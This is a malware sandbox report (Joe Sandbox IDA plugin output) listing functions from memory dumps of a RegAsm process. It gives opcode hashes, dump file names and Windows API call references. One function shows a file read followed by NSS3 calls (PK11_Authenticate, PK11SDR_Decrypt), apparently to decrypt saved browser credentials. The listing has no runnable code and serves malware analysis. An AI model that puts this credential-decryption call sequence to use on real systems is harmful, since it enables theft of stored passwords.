Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f96b6833605b0715f9484dbe982297a654c379e9a96f2571680b3f7b5e8fa17
Instruction ID: 43cdf4ecb647160fda175e5076d83385583e07dd488e496ff266cef725db0fb4
Opcode Fuzzy Hash: 9f96b6833605b0715f9484dbe982297a654c379e9a96f2571680b3f7b5e8fa17
Instruction Fuzzy Hash: 7ED092B1509719AFDB288F5AE480896FBE8EE48274750C42EE8AE97700C231A8408B90

Function 004186E3 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35f880b7d9409492cfbd2c31b6ba08b67b52b83fed8c053745051b7244bb587c
Instruction ID: 81b03007a1f881deed44a42fc0175a6fbd256bce6d09bf2effb1e14420dd7128
Opcode Fuzzy Hash: 35f880b7d9409492cfbd2c31b6ba08b67b52b83fed8c053745051b7244bb587c
Instruction Fuzzy Hash: DEE04278A55644DFC741CF58D195E99B7F0EB09368F158199E806DB761C274EE00DF00

Function 004186E4 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8d911352b7be11e8ef3f8d43dc69cd37138e10f06c97852b63a715cd4b250d5
Instruction ID: d256f1c99479b207678580fcb63197705f640815169115519c5f26934de16b0c
Opcode Fuzzy Hash: f8d911352b7be11e8ef3f8d43dc69cd37138e10f06c97852b63a715cd4b250d5
Instruction Fuzzy Hash: 1AE06C78A61648EFC740CF48C185E49B3F8FB09768F118095E905DB321C378EE00EB50

Function 0040148A Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1937a1b08348a57b00ab59f39d03f042d4a1f0e171b8ae631e82396fa0be247
Instruction ID: 6edc1f77bc014f77afb1dd4525fcd7db61d9a3eb149a076bd6fc7a55924a73f3
Opcode Fuzzy Hash: f1937a1b08348a57b00ab59f39d03f042d4a1f0e171b8ae631e82396fa0be247
Instruction Fuzzy Hash: D9C08C72529208EFD70DCB84D613F5AB3FCE704758F10409CE00293780C67DAB00CA58

Function 004014A2 Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17de449bc8e75433a69f048acdc393cdc02c9d7c97a966a586413745d476a19c
Instruction ID: 5941d710df6caaa93d6ffa2de60dce8e613dec4f923ccdd24a2439a3e016513d
Opcode Fuzzy Hash: 17de449bc8e75433a69f048acdc393cdc02c9d7c97a966a586413745d476a19c
Instruction Fuzzy Hash: DAA002315569D48ECE53D7158260F207BB8A741A41F0504D1E491C6863C11CDA50D950

Function 0040DCA0 Relevance: 90.4, APIs: 60, Instructions: 399memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040DB7F: lstrlenA.KERNEL32(?,75AA5460,?,00000000), ref: 0040DBBB
Part of subcall function 0040DB7F: strchr.MSVCRT ref: 0040DBCD

GetProcessHeap.KERNEL32(00000008,?,75AA5460,?,00000000), ref: 0040DD04
HeapAlloc.KERNEL32(00000000), ref: 0040DD0B
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DD20
HeapFree.KERNEL32(00000000), ref: 0040DD27
strcpy_s.MSVCRT ref: 0040DD43
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DD55
HeapFree.KERNEL32(00000000), ref: 0040DD62
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040DD93
HeapFree.KERNEL32(00000000), ref: 0040DD9A
GetProcessHeap.KERNEL32(00000008,?), ref: 0040DDA1
HeapAlloc.KERNEL32(00000000), ref: 0040DDA8
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DDBD
HeapFree.KERNEL32(00000000), ref: 0040DDC4
strcpy_s.MSVCRT ref: 0040DDDA
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DDEC
HeapFree.KERNEL32(00000000), ref: 0040DDF3
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040DE11
HeapFree.KERNEL32(00000000), ref: 0040DE18
GetProcessHeap.KERNEL32(00000008,?), ref: 0040DE1F
HeapAlloc.KERNEL32(00000000), ref: 0040DE26
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DE3B
HeapFree.KERNEL32(00000000), ref: 0040DE42
strcpy_s.MSVCRT ref: 0040DE52
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DE64
HeapFree.KERNEL32(00000000), ref: 0040DE6B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040DE93
HeapFree.KERNEL32(00000000), ref: 0040DE9A
GetProcessHeap.KERNEL32(00000008,?), ref: 0040DEA1
HeapAlloc.KERNEL32(00000000), ref: 0040DEA8
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DEC3
HeapFree.KERNEL32(00000000), ref: 0040DECA
strcpy_s.MSVCRT ref: 0040DEDD
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DEEF
HeapFree.KERNEL32(00000000), ref: 0040DEF6
lstrlenA.KERNEL32(00000000), ref: 0040DEFF
GetProcessHeap.KERNEL32(00000008,00000000), ref: 0040DF15
HeapAlloc.KERNEL32(00000000), ref: 0040DF1C
lstrlenA.KERNEL32(00000000), ref: 0040DF34

Part of subcall function 0040F128: std::_Xinvalid_argument.LIBCPMT ref: 0040F13E

strcpy_s.MSVCRT ref: 0040DF75
GetProcessHeap.KERNEL32(00000000,?,00000001,00000001), ref: 0040DF9B
HeapFree.KERNEL32(00000000), ref: 0040DFA8
lstrlenA.KERNEL32(?), ref: 0040DFAD
GetProcessHeap.KERNEL32(00000008,00000001), ref: 0040DFBC
HeapAlloc.KERNEL32(00000000), ref: 0040DFC3
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DFD7
HeapFree.KERNEL32(00000000), ref: 0040DFDE
strcpy_s.MSVCRT ref: 0040DFEC
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DFF9
HeapFree.KERNEL32(00000000), ref: 0040E000
GetProcessHeap.KERNEL32(00000000,?), ref: 0040E035
HeapFree.KERNEL32(00000000), ref: 0040E03C
GetProcessHeap.KERNEL32(00000008,?), ref: 0040E043
HeapAlloc.KERNEL32(00000000), ref: 0040E04A
strcpy_s.MSVCRT ref: 0040E065
GetProcessHeap.KERNEL32(00000000,?), ref: 0040E077
HeapFree.KERNEL32(00000000), ref: 0040E07E
GetProcessHeap.KERNEL32(00000000,?), ref: 0040E122
HeapFree.KERNEL32(00000000), ref: 0040E129
GetProcessHeap.KERNEL32(00000000,?), ref: 0040E173
HeapFree.KERNEL32(00000000), ref: 0040E17A

Part of subcall function 0040DB7F: strchr.MSVCRT ref: 0040DBF2
Part of subcall function 0040DB7F: lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040DCF7), ref: 0040DC14
Part of subcall function 0040DB7F: GetProcessHeap.KERNEL32(00000008,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040DC21
Part of subcall function 0040DB7F: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040DCF7), ref: 0040DC28
Part of subcall function 0040DB7F: strcpy_s.MSVCRT ref: 0040DC6F

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$Process$Free$Allocstrcpy_s$lstrlen$strchr$Xinvalid_argumentstd::_
String ID:
API String ID: 838878465-0
Opcode ID: 12c6e981721dca9ee00ae836e2c316a31fc0c73e0feef3063dbd3d8e84c087b0
Instruction ID: a1b16978fbacbfd3e74ac1129a3438b354128d7bfc0331f05670ed845b0c740a
Opcode Fuzzy Hash: 12c6e981721dca9ee00ae836e2c316a31fc0c73e0feef3063dbd3d8e84c087b0
Instruction Fuzzy Hash: 2FE14C72C00219ABEF249FF1DC48ADEBF79BF08305F1454AAF115B3152EA3A59849F54

Function 6C1555F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C12E1A5), ref: 6C155606
LoadLibraryW.KERNEL32(gdi32,?,6C12E1A5), ref: 6C15560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C155633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C15563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C15566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C15567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C155696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C1556B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C1556CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C1556E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C1556FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C155716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C15572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C155748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C155761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C15577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C155793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C1557A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C1557BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C1557D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C1557EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C1557FF

Strings

FillRect, xrefs: 6C155729
AreDpiAwarenessContextsEqual, xrefs: 6C155637
EnableNonClientDpiScaling, xrefs: 6C155666
LoadCursorW, xrefs: 6C155774
ReleaseDC, xrefs: 6C155742
gdi32, xrefs: 6C15560A
SetWindowLongPtrW, xrefs: 6C1557B7
GetMonitorInfoW, xrefs: 6C1557A2
ShowWindow, xrefs: 6C1556DE
DeleteObject, xrefs: 6C1557F9
GetSystemMetricsForDpi, xrefs: 6C155677
RegisterClassW, xrefs: 6C1556AC
MonitorFromWindow, xrefs: 6C15578D
LoadIconW, xrefs: 6C15575B
CreateSolidBrush, xrefs: 6C1557E4
user32, xrefs: 6C155601
GetWindowDC, xrefs: 6C155710
StretchDIBits, xrefs: 6C1557CC
CreateWindowExW, xrefs: 6C1556C5
SetWindowPos, xrefs: 6C1556F7
GetThreadDpiAwarenessContext, xrefs: 6C15562D
GetDpiForWindow, xrefs: 6C155690

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 0e12de0ed9e2d16f0f247afbd426ce0577c6b9b351a9129a59f0849187a76a8a
Instruction ID: 64288903682c5e5b3087920aae7d607225de4d8dd5e89e362766f9be16c6f402
Opcode Fuzzy Hash: 0e12de0ed9e2d16f0f247afbd426ce0577c6b9b351a9129a59f0849187a76a8a
Instruction Fuzzy Hash: A25133B06117229BDB029F36CD5892B3AF8AB1734D7604429E932E2B51EF74C8209F70

Function 6C13CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C10582D), ref: 6C13CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C10582D), ref: 6C13CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C16FE98,?,?,?,?,?,6C10582D), ref: 6C13CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C10582D), ref: 6C13CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C10582D), ref: 6C13CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C10582D), ref: 6C13CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C10582D), ref: 6C13CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C13CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C13CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C13CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C13CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C13CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C13CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C13CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C13CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C13CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C13CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C13CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C13CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C13CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C13CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C13CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C13CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C13CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C13CE8A

Strings

power, xrefs: 6C13CE84
processcpu, xrefs: 6C13CE6E
jsallocations, xrefs: 6C13CD0E
leaf, xrefs: 6C13CC66
markersallthreads, xrefs: 6C13CE42
nativeallocations, xrefs: 6C13CDA8
noiostacks, xrefs: 6C13CCBE
fileio, xrefs: 6C13CC92
fileioall, xrefs: 6C13CCA8
samplingallthreads, xrefs: 6C13CE2C
default, xrefs: 6C13CC21
unregisteredthreads, xrefs: 6C13CE58
preferencereads, xrefs: 6C13CD92
audiocallbacktracing, xrefs: 6C13CDD4
screenshots, xrefs: 6C13CCD4
java, xrefs: 6C13CC37
cpuallthreads, xrefs: 6C13CE16
Unrecognized feature "%s"., xrefs: 6C13CEA0
mainthreadio, xrefs: 6C13CC7C
seqstyle, xrefs: 6C13CCE6
stackwalk, xrefs: 6C13CCF8
nostacksampling, xrefs: 6C13CD7C
ipcmessages, xrefs: 6C13CDBE
notimerresolutionchange, xrefs: 6C13CE00

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 5c4e391d3c319a2dbd123445fa46de8e306571e59476fddac6eb707d729705b5
Instruction ID: 2acd83474ee773044f1f4beed47979eaf3ca373f64b9b3014ecb75ebeb14134f
Opcode Fuzzy Hash: 5c4e391d3c319a2dbd123445fa46de8e306571e59476fddac6eb707d729705b5
Instruction Fuzzy Hash: 1051B9D194527552FE0231266D34BAA140AEF6325EF10A237FD1DE2F80FF09A62985F7

Function 0040A916 Relevance: 63.2, APIs: 34, Strings: 2, Instructions: 211stringmemoryfileCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A922

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,004373A4,0043680F), ref: 0040A9C1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A9D9
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A9E1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A9ED
??_U@YAPAXI@Z.MSVCRT(00000001,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A9F7
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA09
GetProcessHeap.KERNEL32(00000000,000F423F,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA15
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA1C
StrStrA.SHLWAPI(0040B824,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA2D
StrStrA.SHLWAPI(-00000010,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA47
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA5A
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA64
lstrcatA.KERNEL32(00000000,004373A8,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA70
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA7A
lstrcatA.KERNEL32(00000000,004373AC,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA86
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA93
lstrcatA.KERNEL32(00000000,-00000010,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA9B
lstrcatA.KERNEL32(00000000,004373B0,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAA7
StrStrA.SHLWAPI(-000000FE,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAB7
StrStrA.SHLWAPI(00000014,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAC7
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AADA

Part of subcall function 0040A7D8: _memset.LIBCMT ref: 0040A815
Part of subcall function 0040A7D8: lstrlenA.KERNEL32(?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A830
Part of subcall function 0040A7D8: CryptStringToBinaryA.CRYPT32(?,00000000,?,00000001,?,?,00000000), ref: 0040A838
Part of subcall function 0040A7D8: PK11_GetInternalKeySlot.NSS3(?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A846
Part of subcall function 0040A7D8: PK11_Authenticate.NSS3(00000000,00000001,00000000,?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A85A
Part of subcall function 0040A7D8: PK11SDR_Decrypt.NSS3(?,?,00000000,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A89A
Part of subcall function 0040A7D8: _memmove.LIBCMT ref: 0040A8BB
Part of subcall function 0040A7D8: PK11_FreeSlot.NSS3(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A8EC

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAE9
lstrcatA.KERNEL32(00000000,004373B4,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAF5
StrStrA.SHLWAPI(-000000FE,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB05
StrStrA.SHLWAPI(00000014,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB15
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB28

Part of subcall function 0040A7D8: lstrcatA.KERNEL32(00436803,00436807,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A8E5
Part of subcall function 0040A7D8: lstrcatA.KERNEL32(00436803,0043680E,?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A8FB

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB37
lstrcatA.KERNEL32(00000000,004373B8,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB43
lstrcatA.KERNEL32(00000000,004373BC,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB4F
StrStrA.SHLWAPI(-000000FE,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB5F
lstrlenA.KERNEL32(00000000), ref: 0040AB7D
CloseHandle.KERNEL32(?), ref: 0040ABAC
NSS_Shutdown.NSS3(?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040ABB2

Strings

